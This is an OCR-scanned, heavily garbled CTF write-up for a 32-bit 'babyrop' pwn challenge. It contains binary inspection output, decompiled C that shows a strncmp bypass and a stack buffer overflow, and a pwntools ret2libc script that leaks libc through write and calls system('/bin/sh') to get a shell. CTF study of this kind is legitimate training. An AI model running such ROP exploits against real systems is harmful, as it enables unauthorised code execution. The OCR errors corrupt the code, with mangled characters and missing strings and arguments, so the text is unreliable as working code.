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wby@wby-virtual-machine: 4 CTF /BUUCTF /Pw 9]babyrop$ file pwn
pwn: ELF 32-bit LSB executable, Intel Hﬂ38n version 1 SV), dynamically linke
d, interpreter /lib/1d-, for GNU/Linux 2.6. 32 ButldID[qhal] 6503b3ef34c8d55c8d3
e861fb4de2110d0f9f8e2, stripped

wbvmwbv virtual- machlne ktop/CTF/BUUCTF/Pwn/[ 919 ]babyrops checksec pw

[*] ' fhome /wby /Desktop/CTF/BUUCTF/Pwn/[0Geek20819]babyrop/pwn'
Arch: 1386-32-little
RELRO:

Stack:
NX:

slog.csdn.net/m0
PIE: - -

o DAEE
Jint _ cdecl main()
' _
int buf; // [e ebp-14
char v2; [/ [e ebp-D
int fd; // [esp+ ebp-

sub_80486BB();

fd = open("/dev/urandom™, @);
if ( fd>8)

[ read(fd, &buf, 4u);

v2 = sub_804871F(buf);
sub_80487D0(v2);

return 9;
i
int _ cdecl sub_804871F(int al)
{
size t wil; ff eax
char s; ff esp+C ebp -4
char buf[71; // [esp+2 [ebp-2Ch]
unsigned _ int8 v5 ff [esp+33h] [ebp-25h]

ssize t vb; // [esp+4Ch] [ebp-Ch]
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memset (&=, @, Ox20u);
memset(buf, @, Bx20u);
sprintf(&s, "%1d", al);
vh = read(@, buf, Ox20u);

buf[ve - 1] = 0;

vl = strlen(buf);

if ( strncmp(buf, &s, v1) )
exit(0);

write(1, "Correcti\n", 8u);
return v5;

EE—ANFENLE, RESHAMAERR, FEST. strleni@2\x00&21E, Fit REFLAX00, SEHBKKE
vIEE20, MiigEidstrnemp.

ssize t  cdecl sub 80487D@(char al)

{
ssize t result; // eax
char buf; // [esp+11h] [ebp-E7h]
if ( al == 127 )
result = read(@, &buf, @xC8u);
else

result = read(@, &buf, al);
return result;
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from pwn import

io = process(

elf = ELF(
libc = ELF(

def debug():
global io
addr
gdb.attach(io,

write plt_addr = elf.plt[
write got_addr = elf.got][
main_addr = 0x08048825

bin_sh_offset 0x15902b




(offset+4)
p32(write_plt addr)
p32(main_addr)
p32(1)
p32(write_got addr)
p32(4)

io.sendline(payload)

data io.recv(4)
write_addr u32(data)
print 5 (write_addr)
libc_base_addr write_addr libc.symbols|[
print 5 (libc_base_addr)
system_addr libc_base_addr libc.symbols|[
print 5 (system_addr)

libc_base_addr bin_sh_offset

5 (bin_sh_addr)

io.sendline(payload)

(offset+4)
p32(system_addr)

p32(bin_sh_addr)

io.sendline(payload)
io.interactive()
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